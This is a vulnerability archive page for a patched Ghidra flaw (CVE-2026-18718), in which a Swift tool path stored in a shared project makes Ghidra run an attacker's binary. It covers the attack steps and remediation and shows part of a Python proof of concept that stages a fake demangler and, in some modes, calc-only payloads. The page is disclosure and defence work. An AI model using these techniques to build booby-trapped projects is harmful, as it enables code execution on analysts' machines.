PoC Archive PoC Archive
CVE-2026-18718 category: misc CVSS 7.5 (HIGH)
Patched

Ghidra — Swift Demangler Arbitrary Code Execution via Shared Project Files (CVE-2026-18718)

Published: 2026-08-09 • Researcher: sn0x-sharma (@sn0x-sharma)

Target software Ghidra (NSA reverse engineering framework), Swift Demangler analyzer
Affected versions Ghidra ≤ 12.1.2
Status Patched
Severity High · CVSS 7.5
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2026-08-09
Author / Researchersn0x-sharma (@sn0x-sharma)
CVE / AdvisoryCVE-2026-18718
Categorymisc
SeverityHigh
CVSS Score7.5 (CVSSv3.1: AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)
StatusPatched
Tagsghidra, nsa, reverse-engineering, swift, demangler, code-execution, project-file, analyzer, CWE-427, CWE-494, uncontrolled-search-path, supply-chain, research-tool, shared-project
RelatedThematically related to pocs/binary/2026-05-23_cve-2026-22681-chocopoc-ida-pro-theme-rce/ (ChocoPoC): both exploit the trust reverse engineers place in project files from colleagues and the internet. Open a project, run their code — an entire class of researcher-targeting attacks.

Affected Target

FieldValue
Software / SystemGhidra (NSA reverse engineering framework), Swift Demangler analyzer
Versions AffectedGhidra ≤ 12.1.2
Language / PlatformJava (Ghidra), Swift (demangler); research PoC in Python 3 (stdlib only, self-contained)
Authentication RequiredNo — the attack is delivered through a shared project file (.gzf, project directory, or cloned research repository). The victim opens the file; Ghidra runs the attacker’s code.
Network Access RequiredNone — the execution is entirely local, triggered by opening a project or importing a binary into a shared project

Summary

Opening someone else’s Ghidra project is enough to execute their code — with no prompt, no signature check, and no integrity verification.

Ghidra 12.1.2 stores analyzer options inside the program database, and one of those options is a configurable filesystem path to a Swift toolchain directory. When the Swift Demangler analyzer runs, Ghidra resolves swift-demangle under that attacker-controlled path and executes it — twice: once with --version (a validation probe that fires during analyzer initialization) and once with each mangled symbol. The first execution happens before the user sees any analysis results, before any dialog, and with the same privileges as the Ghidra process.

A shared .gzf archive, a cloned research repository containing a .gar file, or a project directory passed between colleagues silently carries the attacker’s chosen path with it. The victim opens the project, the analyzer reads the stored option, resolves the binary, and executes it. On headless and CI setups — where Ghidra runs automated analysis with no human in the loop — there is no opportunity to notice.

The advisory was reported privately via GitHub Security Advisory (GHSA-pcfh-853f-q3gh), initially assessed as working-as-intended, then re-triaged after the researcher demonstrated a silent project-import reproduction path. Ghidra 12.1.3 fixes the issue by dropping the configurable tool directory entirely and resolving swift from the system PATH only.

Vulnerability Details

Root Cause

The Swift Demangler analyzer (SwiftDemanglerAnalyzer.java) restores a SWIFT_TOOL_DIR_OPTION string from the program database — state that was saved when the project was last used, and which a project author fully controls:

Java source
1
2
3
// SwiftDemanglerAnalyzer.java — value restored from program-persisted state
String swiftDir = options.getString(SWIFT_TOOL_DIR_OPTION, null);
SwiftNativeDemangler demangler = new SwiftNativeDemangler(new File(swiftDir));

SwiftNativeDemangler joins the directory with the literal filename swift-demangle and executes the resulting path:

Java source
1
2
3
4
5
// SwiftNativeDemangler.java — the resolved binary is executed twice
private File swiftDemanglerPath = new File(swiftToolDir, "swift-demangle");

new ProcessBuilder(swiftDemanglerPath.getAbsolutePath(), "--version").start();  // SINK 1
new ProcessBuilder(swiftDemanglerPath.getAbsolutePath(), mangled).start();      // SINK 2

SINK 1 is a validation probe that fires during analyzer initialization — the attacker’s code runs before a single symbol is demangled, before the analysis task shows progress, and with no user prompt at any point.

Attack Vector

  1. Create a Ghidra project with the Swift Demangler analyzer enabled and SWIFT_TOOL_DIR_OPTION set to a directory the attacker controls (or a relative path like ../../tmp/evil that resolves on the victim’s machine).
  2. Share the project — as a .gzf archive, a project directory, or a research repository containing program databases.
  3. The victim opens the project. Ghidra restores the analyzer options from the saved program state, resolves swift-demangle under the attacker’s path, and executes it — no signature check, no integrity verification, no prompt.
  4. On headless/CI, the same path triggers during automated analysis with nobody watching.

The PoC research framework also documents two related code-execution surfaces discovered during the same review — TraceRMI debugger-agent command injection and SevenZipJBinding native parser reachability — each with its own preconditions and risk level.

Impact

Arbitrary code execution in the Ghidra user’s context — typically the analyst’s own user account, with access to all files, network resources, and credentials available to that user. For reverse engineers analyzing malware, this is a particularly dangerous vector: the tool meant to keep them safe becomes the attack surface. On headless/CI pipelines, the impact extends to build artifacts, signed releases, and the integrity of the analysis pipeline itself.

Environment / Lab Setup

The research PoC is self-contained and does not require a Ghidra installation for the swift mode (the accepted advisory). It fabricates its own fake Swift toolchain and simulates the exact execution path Ghidra takes.

Shell script
1
2
git clone https://github.com/sn0x-sharma/CVE-2026-18718.git
cd CVE-2026-18718

Setup Steps

Shell script
1
2
3
4
5
python3 CVE-2026-18718-POC.py --mode swift --execute

python3 CVE-2026-18718-POC.py --mode swift --execute --launch-calc

python3 CVE-2026-18718-POC.py --ghidra-source /path/to/ghidra-12.1.2

Proof of Concept

See CVE-2026-18718-POC.py (~1,100 lines), source-evidence.md, and LICENSE in this folder — mirrored byte-for-byte from sn0x-sharma/CVE-2026-18718. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Run the Swift ACE mode (self-contained, no Ghidra needed):

    Shell script
    1
    
    python3 CVE-2026-18718-POC.py --mode swift --execute --launch-calc
  2. Verify execution — the framework creates a fake swift-demangle binary, launches it with --version (exactly as Ghidra would at SINK 1), and records a marker file:

    Output
    10:15:09 | INFO    | swift-ace: launching fake demangler as Ghidra would
    Swift demangler calc PoC (sn0x-sharma)
    10:15:09 | INFO    | [PASS   ] swift-ace: Swift demangler sink reproduced; attacker binary executed.
    10:15:09 | INFO    |     - Execution marker: artifacts/swift-demangler-calc/swift_demangler_calc_marker.txt
  3. Check the marker proving the attacker binary ran:

    Shell script
    1
    2
    
    cat artifacts/swift-demangler-calc/swift_demangler_calc_marker.txt
    # ran with: --version

Exploit Code

The research framework is a single-file, class-structured Python entrypoint. Each reviewed surface is a separate component returning structured results:

Output
CVE-2026-18718-POC.py
├── PlatformProfile        OS-specific behaviour (calc command, chmod)
├── ResearchConfig         run configuration + Ghidra-source resolver
├── SourceScanner          read-only substring scanner over a Ghidra tree
├── EvidenceCollector      owns artifacts/, records every file written
├── ResearchComponent      base contract for a reviewed surface
│   ├── SwiftAnalyzer      swift-ace — conditional ACE (self-contained)
│   ├── TraceManager       tracermi-rce — conditional RCE evidence
│   └── SevenZipProbe      sevenzip-reachability — parser reachability
├── EnvironmentValidator   pre-flight checks
├── ReportGenerator        deterministic summary
└── ResearchRunner         orchestration: validate → run → report → exit code

The Swift analyzer constructs a fake toolchain directory, writes a platform-appropriate swift-demangle binary that records its invocation arguments, and simulates the exact ProcessBuilder calls Ghidra makes.

Expected Output

Output
10:15:09 | INFO    | swift-ace: launching fake demangler as Ghidra would
Swift demangler calc PoC (sn0x-sharma)
10:15:09 | INFO    | [PASS   ] swift-ace: Swift demangler sink reproduced; attacker binary executed.
10:15:09 | INFO    |     - Execution marker: artifacts/swift-demangler-calc/swift_demangler_calc_marker.txt

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchUpgrade to Ghidra 12.1.3 or later. Commit c03a70d drops the configurable SWIFT_TOOL_DIR_OPTION and resolves swift from the system PATH only. The stored option is ignored even if a malicious project carries it.
WorkaroundOn unpatched versions: disable the Swift Demangler analyzer before opening projects you did not create. Check Analysis → Auto Analyze → Analyzers on every imported project. Do not open .gzf archives or project directories from untrusted sources.
VerificationConfirm the Ghidra version is 12.1.3 or later; verify that SwiftNativeDemangler.java resolves swift via findOnPath() rather than constructing a File(swiftToolDir, "swift-demangle").

References

Notes

Verified this session by reading the full research framework source (CVE-2026-18718-POC.py, ~1,100 lines). The tool is a single-file Python entrypoint with no third-party dependencies. It is structured as an auditable research framework — each of the three reviewed surfaces is a separate class, the orchestration is explicit, and the output is deterministic. The swift mode is fully self-contained (fabricates its own fake toolchain); the tracermi and sevenzip modes optionally reference a Ghidra source tree for source-to-sink annotation.

Malware screen — clean. No obfuscated payloads, no remote downloaders, no credential exfiltration, no miner, no setup.py/install-time side effects. Every process launch is opt-in behind --execute; the calculator is behind --launch-calc. The fake swift-demangle binary records its invocation arguments to a marker file — it performs no network activity, no filesystem modification beyond the artifacts directory, and no privilege escalation. The sevenzip mode can emit a benign ZIP archive for testing (--harmless-zip), and the tracermi mode writes calc-only payload shapes (Java Runtime.exec() opening the platform calculator) — neither mode performs any actual exploitation.

Author track record: sn0x-sharma reported the vulnerability responsibly through GitHub Security Advisory (GHSA-pcfh-853f-q3gh). The advisory was initially assessed as working-as-intended, then re-triaged and accepted after the researcher demonstrated a silent project-import reproduction path. The fix was committed as c03a70d and released in Ghidra 12.1.3. CVE-2026-18718 was assigned in week 7 of the disclosure timeline. The researcher published this framework after coordinated disclosure against a patched version.

Thematic pairing: This entry and ChocoPoC (CVE-2026-22681, IDA Pro theme RCE, already in this archive) form a pair — both exploit the trust reverse engineers place in project files, themes, and configurations shared by colleagues and the internet. Open a project, run their code. The attack surface is the tool itself.

CVE-2026-18718-POC.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""Ghidra 12.1.2 code-execution research framework (responsible-disclosure edition).

This is a *single-entrypoint* consolidation of the fragmented research scripts
that were produced while reviewing Ghidra 12.1.2 for code-execution conditions.
The underlying advisory (Swift demangler execution path) has been accepted and
fixed upstream; this tool exists so the research can be *published alongside the
advisory* in a form a reviewer can read, audit, and reproduce in one pass.

Design intent
-------------
The tool orchestrates three independent research components, each mapping to one
reviewed surface:

  * ``SwiftAnalyzer``  -> conditional ACE via the Swift demangler process-launch
                          sink (the accepted advisory). Simulated with a local
                          fake ``swift-demangle`` so no Ghidra install is needed.
  * ``TraceManager``   -> conditional RCE via TraceRMI debugger-agent command /
                          eval sinks. Source-evidence + calc-only payload shapes.
  * ``SevenZipProbe``  -> RCE-class native archive parser reachability
                          (SevenZipJBinding). Benign source-reachability only.

Safety posture
--------------
Nothing destructive, nothing networked. Every process launch is opt-in:
``--execute`` is required to run any local binary, and ``--launch-calc`` is
required before the benign platform calculator is ever spawned. The calculator
is the traditional harmless "arbitrary process executed" marker.

Author: sn0x-sharma
"""

from __future__ import annotations

import argparse
import logging
import os
import platform
import shutil
import subprocess
import sys
import zipfile
from dataclasses import dataclass, field
from enum import Enum
from pathlib import Path
from typing import ClassVar, Optional, Sequence

# --------------------------------------------------------------------------- #
# Module constants
# --------------------------------------------------------------------------- #

AUTHOR = "sn0x-sharma"
TOOL_VERSION = "2.0.0"
MIN_PYTHON = (3, 9)

LOG = logging.getLogger("ghidra_research")


# --------------------------------------------------------------------------- #
# Logging
# --------------------------------------------------------------------------- #

def configure_logging(verbose: bool) -> None:
    """Install a single stderr handler with timestamps.

    Logs go to stderr so that machine-readable artifacts written to disk stay
    the authoritative output; the console stream is purely operator narration.
    """
    handler = logging.StreamHandler(stream=sys.stderr)
    handler.setFormatter(
        logging.Formatter(
            fmt="%(asctime)s | %(levelname)-7s | %(message)s",
            datefmt="%H:%M:%S",
        )
    )
    LOG.handlers.clear()
    LOG.addHandler(handler)
    LOG.setLevel(logging.DEBUG if verbose else logging.INFO)


def stage(message: str) -> None:
    """Log a top-level workflow stage in a consistent, greppable form."""
    LOG.info("== %s ==", message)


# --------------------------------------------------------------------------- #
# Platform layer  (replaces the old calc_helper module)
# --------------------------------------------------------------------------- #

@dataclass(frozen=True)
class PlatformProfile:
    """All operating-system branching, resolved once and shared.

    Every component consults this object instead of calling
    ``platform.system()`` itself. Centralising it means the calc command,
    script header, executable-bit handling, and demangler filename all agree on
    a single detected platform for the whole run (deterministic behaviour).
    """

    system: str  # normalised, lower-case: "windows" | "darwin" | "linux" | ...

    # ClassVar, not a field: candidate Linux calculators are a shared constant,
    # so they must stay out of the generated __init__ / repr.
    _LINUX_CALCS: ClassVar[tuple[str, ...]] = (
        "xcalc",
        "gnome-calculator",
        "kcalc",
        "qalculate-gtk",
    )

    @classmethod
    def detect(cls) -> "PlatformProfile":
        """Build a profile from the running host."""
        return cls(system=platform.system().lower())

    # -- predicates -------------------------------------------------------- #
    @property
    def is_windows(self) -> bool:
        return self.system == "windows"

    @property
    def is_macos(self) -> bool:
        return self.system == "darwin"

    # -- Swift demangler simulation --------------------------------------- #
    @property
    def demangler_filename(self) -> str:
        """Name Ghidra would launch inside the configured Swift tool directory.

        A ``.cmd`` on Windows so the fake tool is directly executable there.
        """
        return "swift-demangle.cmd" if self.is_windows else "swift-demangle"

    @property
    def script_header(self) -> str:
        """Shebang / batch header for the generated fake demangler."""
        return "@echo off\n" if self.is_windows else "#!/bin/sh\n"

    def mark_executable(self, path: Path) -> None:
        """Set the executable bit (POSIX only; Windows keys off extension)."""
        if self.is_windows:
            return
        mode = path.stat().st_mode
        path.chmod(mode | 0o111)

    # -- calculator (benign "arbitrary process" marker) ------------------- #
    def calc_argv(self) -> Optional[list[str]]:
        """Return an argv that launches the platform calculator, or None.

        On Linux the first calculator actually present on ``PATH`` wins; if none
        is installed we return None and callers fall back to the disk marker as
        proof of execution.
        """
        if self.is_windows:
            return ["calc.exe"]
        if self.is_macos:
            return ["open", "-a", "Calculator"]
        for name in self._LINUX_CALCS:
            resolved = shutil.which(name)
            if resolved:
                return [resolved]
        return None

    def calc_shell_command(self) -> str:
        """Shell one-liner form, used inside generated scripts / payload shapes."""
        if self.is_windows:
            return "calc.exe"
        if self.is_macos:
            return "open -a Calculator"
        return " || ".join(self._LINUX_CALCS)

    def calc_python_eval_expression(self) -> str:
        """A calc-only Python expression, matching the LLDB ``pyeval`` sink shape."""
        if self.is_windows:
            args = "['calc.exe']"
        elif self.is_macos:
            args = "['open', '-a', 'Calculator']"
        else:
            args = f"['sh', '-lc', {self.calc_shell_command()!r}]"
        return f"__import__('subprocess').Popen({args})"

    def launch_calc(self) -> bool:
        """Spawn the platform calculator detached. True if a command was found."""
        argv = self.calc_argv()
        if argv is None:
            return False
        kwargs: dict = {}
        if self.is_windows:
            kwargs["creationflags"] = getattr(
                subprocess, "CREATE_NEW_PROCESS_GROUP", 0
            )
        subprocess.Popen(
            argv,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            **kwargs,
        )
        return True


# --------------------------------------------------------------------------- #
# Configuration
# --------------------------------------------------------------------------- #

@dataclass
class ResearchConfig:
    """Immutable-ish run configuration derived from the CLI.

    ``ghidra_source`` is optional because the Swift ACE component is fully
    self-contained (it fabricates its own fake tool), whereas the TraceRMI and
    SevenZip components need a real 12.1.2 source tree to produce evidence.
    """

    modes: tuple[str, ...]
    ghidra_source: Optional[Path]
    artifacts_dir: Path
    execute: bool
    launch_calc: bool
    create_harmless_zip: bool
    verbose: bool

    # ClassVar, not a field: the canonical mode order (deterministic, ACE
    # advisory first) is a shared constant, not per-instance configuration.
    ALL_MODES: ClassVar[tuple[str, ...]] = ("swift", "tracermi", "sevenzip")

    @staticmethod
    def resolve_source(explicit: Optional[Path]) -> Optional[Path]:
        """Locate a Ghidra 12.1.2 source tree.

        Precedence: explicit ``--ghidra-source`` > ``GHIDRA_SOURCE`` env >
        ``./ghidra-12.1.2`` > a sibling ``ghidra-12.1.2`` next to this repo.
        Returns the first path that exists, else None. This single resolver
        replaces the copy-pasted ``default_source()`` that lived in two scripts.
        """
        candidates: list[Path] = []
        if explicit:
            candidates.append(explicit)
        env_source = os.environ.get("GHIDRA_SOURCE")
        if env_source:
            candidates.append(Path(env_source))
        here = Path(__file__).resolve()
        candidates.append(Path.cwd() / "ghidra-12.1.2")
        candidates.append(here.parent / "ghidra-12.1.2")
        candidates.append(here.parent.parent / "ghidra-12.1.2")
        for candidate in candidates:
            if candidate.exists():
                return candidate.resolve()
        return None


# --------------------------------------------------------------------------- #
# Result model
# --------------------------------------------------------------------------- #

class Status(Enum):
    """Outcome of a single component run."""

    PASS = "pass"          # component executed and produced its expected evidence
    PARTIAL = "partial"    # ran, but some expected evidence was missing
    SKIPPED = "skipped"    # prerequisites not met (e.g. no source tree)
    ERROR = "error"        # unexpected failure


@dataclass
class ComponentResult:
    """Structured result returned by every research component.

    Components return data rather than printing; ``ReportGenerator`` owns all
    presentation. This is what makes the summary deterministic and lets the
    runner compute a meaningful process exit code.
    """

    name: str
    status: Status
    summary: str
    findings: list[str] = field(default_factory=list)
    artifacts: list[Path] = field(default_factory=list)


# --------------------------------------------------------------------------- #
# Evidence handling
# --------------------------------------------------------------------------- #

@dataclass
class SourceHit:
    """A single source-evidence match: ``relative_path:line`` and the text."""

    path: Path
    line: int
    needle: str
    text: str


class SourceScanner:
    """Read-only substring scanner over a Ghidra source tree.

    Consolidates the two different grep implementations the old scripts carried:
    a fixed-path lookup (SevenZip) and a recursive glob lookup (TraceRMI). Both
    now come from one audited primitive that reports 1-based line numbers.
    """

    def __init__(self, root: Path) -> None:
        self.root = root

    def locate(self, relative_path: str, needle: str) -> Optional[SourceHit]:
        """Find the first occurrence of ``needle`` in a specific file."""
        path = self.root / relative_path
        if not path.exists():
            return None
        text = path.read_text(encoding="utf-8", errors="replace")
        index = text.find(needle)
        if index < 0:
            return None
        line = text.count("\n", 0, index) + 1
        return SourceHit(Path(relative_path), line, needle, needle)

    def scan_glob(
        self,
        subdir: str,
        filename_glob: str,
        needles: Sequence[str],
    ) -> list[SourceHit]:
        """Recursively scan ``subdir`` for files matching ``filename_glob``.

        Returns every line containing any needle, sorted for deterministic
        output regardless of filesystem enumeration order.
        """
        base = self.root / subdir
        if not base.exists():
            raise FileNotFoundError(f"Expected source subtree not found: {base}")
        hits: list[SourceHit] = []
        for source_file in base.rglob(filename_glob):
            try:
                lines = source_file.read_text(
                    encoding="utf-8", errors="replace"
                ).splitlines()
            except OSError:
                continue
            for line_no, raw in enumerate(lines, start=1):
                stripped = raw.strip()
                for needle in needles:
                    if needle in stripped:
                        hits.append(
                            SourceHit(
                                source_file.relative_to(self.root),
                                line_no,
                                needle,
                                stripped,
                            )
                        )
        return sorted(hits, key=lambda h: (str(h.path), h.line, h.needle))


class EvidenceCollector:
    """Owns the ``artifacts/`` tree and records everything written to it.

    Separating evidence output from the components keeps generated artifacts
    cleanly out of source control (the whole tree is git-ignored) and gives the
    report a single, ordered list of produced files.
    """

    def __init__(self, root: Path) -> None:
        self.root = root
        self._artifacts: list[Path] = []

    def _subdir(self, name: str) -> Path:
        path = self.root / name
        path.mkdir(parents=True, exist_ok=True)
        return path

    def write_text(self, subdir: str, filename: str, content: str) -> Path:
        """Write a UTF-8 text artifact and remember it."""
        path = self._subdir(subdir) / filename
        if not content.endswith("\n"):
            content += "\n"
        path.write_text(content, encoding="utf-8")
        self.register(path)
        return path

    def create_harmless_zip(self, subdir: str, filename: str) -> Path:
        """Emit a benign ZIP used to exercise the archive-parser reachability.

        Deliberately contains one plain text file — no crafted headers, no
        exploit bytes — so it is safe to hand to any parser.
        """
        path = self._subdir(subdir) / filename
        with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as archive:
            archive.writestr(
                "hello.txt",
                "harmless sample for parser reachability checks\n",
            )
        self.register(path)
        return path

    def register(self, path: Path) -> None:
        """Record an artifact so the report can list it.

        Public because some artifacts are authored *outside* this collector —
        e.g. the fake Swift demangler writes its own marker — and still need to
        appear in the run summary. Idempotent: a path is recorded at most once.
        """
        if path not in self._artifacts:
            self._artifacts.append(path)
            LOG.debug("artifact written: %s", path)

    @property
    def artifacts(self) -> list[Path]:
        """All artifacts written this run, in creation order."""
        return list(self._artifacts)


# --------------------------------------------------------------------------- #
# Research components
# --------------------------------------------------------------------------- #

class ResearchComponent:
    """Base contract for a reviewed-surface component.

    ``requires_source`` lets the runner skip source-dependent components (and
    say why) when no Ghidra tree is available, instead of crashing.
    """

    name: str = "component"
    requires_source: bool = False

    def __init__(
        self,
        config: ResearchConfig,
        profile: PlatformProfile,
        evidence: EvidenceCollector,
        scanner: Optional[SourceScanner],
    ) -> None:
        self.config = config
        self.profile = profile
        self.evidence = evidence
        self.scanner = scanner

    def run(self) -> ComponentResult:  # pragma: no cover - interface method
        """Execute the component and return its structured result."""
        raise NotImplementedError


class SwiftAnalyzer(ResearchComponent):
    """Conditional ACE — the accepted Swift demangler advisory.

    Ghidra's Swift demangler analyzer restores a configured Swift tool directory
    and launches ``swift-demangle`` from it (once at validation with
    ``--version``, and again during symbol demangling). If that directory
    resolves to attacker-controlled content, Ghidra runs attacker code in the
    user's context.

    This component reproduces the *sink shape* without needing Ghidra: it writes
    a fake ``swift-demangle`` into a fake tool directory and, under ``--execute``,
    invokes it exactly as Ghidra would (``swift-demangle --version``). The fake
    tool drops a marker proving it ran; under ``--launch-calc`` the fake tool is
    the thing that spawns the calculator — because in the real bug the attacker
    binary is what executes, so the attacker binary is what should pop calc.
    """

    name = "swift-ace"
    requires_source = False

    def run(self) -> ComponentResult:
        """Stage the fake Swift tool and, under ``--execute``, launch it."""
        tool_dir = self.evidence.root / "swift-demangler-calc" / "fake-swift-bin"
        tool_dir.mkdir(parents=True, exist_ok=True)
        marker = (
            self.evidence.root
            / "swift-demangler-calc"
            / "swift_demangler_calc_marker.txt"
        )
        fake_tool = tool_dir / self.profile.demangler_filename

        self._write_fake_demangler(fake_tool, marker)

        findings = [
            f"Fake Swift tool directory: {tool_dir}",
            f"Fake demangler: {fake_tool}",
            "Simulated Ghidra launch: swift-demangle --version",
        ]

        if not self.config.execute:
            LOG.info("swift-ace: dry run (pass --execute to launch the fake tool)")
            return ComponentResult(
                name=self.name,
                status=Status.PASS,
                summary="Fake Swift demangler staged; not executed (dry run).",
                findings=findings,
                artifacts=[fake_tool],
            )

        LOG.info("swift-ace: launching fake demangler as Ghidra would")
        try:
            subprocess.run([str(fake_tool), "--version"], check=True)
        except (OSError, subprocess.CalledProcessError) as exc:
            return ComponentResult(
                name=self.name,
                status=Status.ERROR,
                summary=f"Fake demangler failed to execute: {exc}",
                findings=findings,
Showing 500 of 1043 lines View full file on GitHub →